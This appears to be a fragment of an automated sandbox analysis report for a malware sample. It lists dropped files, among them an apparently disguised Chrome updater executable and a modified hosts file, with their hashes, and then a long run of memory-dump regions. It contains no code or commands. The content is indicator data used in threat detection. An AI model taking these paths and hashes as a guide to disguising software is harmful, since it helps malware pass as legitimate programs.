SHA15383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA2569940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
SHA512be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD50f1956f23e3f407b2678425cbb0d0284
SHA15495785941628973f2014015850c47fdc2705032
SHA2564241cb1d4142a09854b7eb2d03c4e1cc4cfd330be7395094274d2becb67568ee
SHA512f3f47335eb320fdb712299a7c2ba39bbc74b2827f0175c21200171abff2898374c93e102d3e794e1585d1cc95a0461042793304ddb0549e5cb25d16da3a22f8a
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD50f1956f23e3f407b2678425cbb0d0284
SHA15495785941628973f2014015850c47fdc2705032
SHA2564241cb1d4142a09854b7eb2d03c4e1cc4cfd330be7395094274d2becb67568ee
SHA512f3f47335eb320fdb712299a7c2ba39bbc74b2827f0175c21200171abff2898374c93e102d3e794e1585d1cc95a0461042793304ddb0549e5cb25d16da3a22f8a
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SBVPMUBS229KEJTFWI9U.tempFilesize
7KB
MD50f1956f23e3f407b2678425cbb0d0284
SHA15495785941628973f2014015850c47fdc2705032
SHA2564241cb1d4142a09854b7eb2d03c4e1cc4cfd330be7395094274d2becb67568ee
SHA512f3f47335eb320fdb712299a7c2ba39bbc74b2827f0175c21200171abff2898374c93e102d3e794e1585d1cc95a0461042793304ddb0549e5cb25d16da3a22f8a
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C:\Windows\System32\drivers\etc\hostsFilesize
2KB
MD53e9af076957c5b2f9c9ce5ec994bea05
SHA1a8c7326f6bceffaeed1c2bb8d7165e56497965fe
SHA256e332ebfed27e0bb08b84dfda05acc7f0fa1b6281678e0120c5b7c893a75df47e
SHA512933ba0d69e7b78537348c0dc1bf83fb069f98bb93d31c638dc79c4a48d12d879c474bd61e3cbde44622baef5e20fb92ebf16c66128672e4a6d4ee20afbf9d01f
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
SHA15383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA2569940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
SHA512be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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memory/580-96-0x00000000010C0000-0x0000000001140000-memory.dmpFilesize
512KB
-
memory/580-95-0x00000000010C0000-0x0000000001140000-memory.dmpFilesize
512KB
-
memory/580-94-0x00000000010C0000-0x0000000001140000-memory.dmpFilesize
512KB
-
memory/1172-83-0x00000000026D4000-0x00000000026D7000-memory.dmpFilesize
12KB
-
memory/1172-84-0x00000000026DB000-0x0000000002712000-memory.dmpFilesize
220KB
-
memory/1240-76-0x000000013F3F0000-0x000000013F606000-memory.dmpFilesize
2.1MB
-
memory/1240-54-0x000000013F3F0000-0x000000013F606000-memory.dmpFilesize
2.1MB
-
memory/1260-69-0x000000001B1A0000-0x000000001B482000-memory.dmpFilesize
2.9MB
-
memory/1260-71-0x00000000024E0000-0x0000000002560000-memory.dmpFilesize
512KB
-
memory/1260-72-0x00000000024E0000-0x0000000002560000-memory.dmpFilesize
512KB
-
memory/1260-70-0x0000000002060000-0x0000000002068000-memory.dmpFilesize
32KB
-
memory/1260-74-0x00000000024EB000-0x0000000002522000-memory.dmpFilesize
220KB
-
memory/1260-73-0x00000000024E0000-0x0000000002560000-memory.dmpFilesize
512KB
-
memory/1368-90-0x0000000001094000-0x0000000001097000-memory.dmpFilesize
12KB
-
memory/1368-91-0x000000000109B000-0x00000000010D2000-memory.dmpFilesize
220KB
-
memory/1648-106-0x0000000000B20000-0x0000000000B40000-memory.dmpFilesize
128KB
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memory/1648-124-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-168-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-166-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-164-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-162-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-104-0x0000000000040000-0x0000000000060000-memory.dmpFilesize
128KB
-
memory/1648-105-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-107-0x0000000000BC0000-0x0000000000BE0000-memory.dmpFilesize
128KB
-
memory/1648-160-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-158-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-109-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-110-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-112-0x0000000000B20000-0x0000000000B40000-memory.dmpFilesize
128KB
-
memory/1648-113-0x0000000000BC0000-0x0000000000BE0000-memory.dmpFilesize
128KB
-
memory/1648-114-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-116-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-156-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-118-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-120-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-122-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-154-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-126-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-128-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-130-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-132-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-134-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-136-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-138-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-140-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-142-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-144-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-146-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-148-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-150-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1648-152-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1708-117-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
-
memory/1708-108-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
-
memory/1776-88-0x000000013F120000-0x000000013F336000-memory.dmpFilesize
2.1MB
-
memory/1776-103-0x000000013F120000-0x000000013F336000-memory.dmpFilesize
2.1MB
-
memory/1924-59-0x000000001B0F0000-0x000000001B3D2000-memory.dmpFilesize
2.9MB
-
memory/1924-60-0x0000000002350000-0x0000000002358000-memory.dmpFilesize
32KB
-
memory/1924-61-0x0000000002674000-0x0000000002677000-memory.dmpFilesize
12KB
-
memory/1924-62-0x000000000267B000-0x00000000026B2000-memory.dmpFilesize
220KB